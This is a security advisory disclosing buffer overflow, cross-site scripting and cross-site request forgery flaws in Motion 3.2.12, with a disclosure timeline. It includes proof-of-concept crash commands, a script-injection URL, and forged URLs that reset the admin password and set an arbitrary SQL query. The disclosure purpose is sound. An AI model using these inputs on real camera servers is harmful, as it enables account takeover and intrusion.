Title: Motion 3.2.12 Multiple Vulnerabilities
Author: xistence - xistence[at]0x90[.]nl
Date: 26/06/2013
Vendor page: http://www.lavrsen.dk/foswiki/bin/view/Motion
Software link: http://www.lavrsen.dk/foswiki/bin/view/Motion/DownloadFiles
Software description: Motion is a program that monitors the video signal
from cameras. It is able to detect if a significant part of the picture has
changed; in other words, it can detect motion.
Tested on: Kali


Motion 3.2.12 is prone to multiple vulnerabilities. These vulnerabilities
are Buffer Overflows, Cross Site Scripting and Cross Site Request Forgery.

(0x01) - Buffer Overflows:

Supplying a long filename to the config and pid parameters of the "motion"
binary will result in a buffer overflow. The cause of this is, is the
unsafe C function strcpy() where no boundary checking is done to prevent
overflowing the buffer.
This in theory could be abused to escalate privileges if the suid/sgid flag
is set on the motion binary (not default on most operating systems as far
as I know)
Below how to replicate the bugs:

1)
# motion -c `python -c 'print "\x41"*1000'`
[0] Configfile
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
not fou:
Segmentation fault

2)
# motion -p /tmp/`python -c 'print "\x41"*5000'`
Segmentation fault


(0x02) - Cross Site Scripting:

It's possible to execute script code on the client-side browser through the
"process_id_file" parameter.
The following Proof of Concept url will display a popup with the text XSS:

http://
<IP>:<PORT>/0/config/set?process_id_file=</li><script>alert('XSS');</script><li>


(0x03) - Cross Site Request Forgery:

The following urls show that it's's possible to reset a password, change
the SQL query by sending a complete URL to the victim. If the victim clicks
on the url, it will execute the command without any further checking.
http://<IP>:<PORT>/0/config/set?control_authentication=admin:mypassword
(Set admin password)
http://<IP>:<PORT>/0/config/set?sql_query=SELECT%20user() (Arbitrary SQL
query)


07 Mar 2013: Discovered vulnerabilities
07 Mar 2013: Filed bug report at
http://www.lavrsen.dk/foswiki/bin/view/Motion/BugReport2013x03x07x071831
26 Jun 2013: No contact or updates whatsoever from developer, public release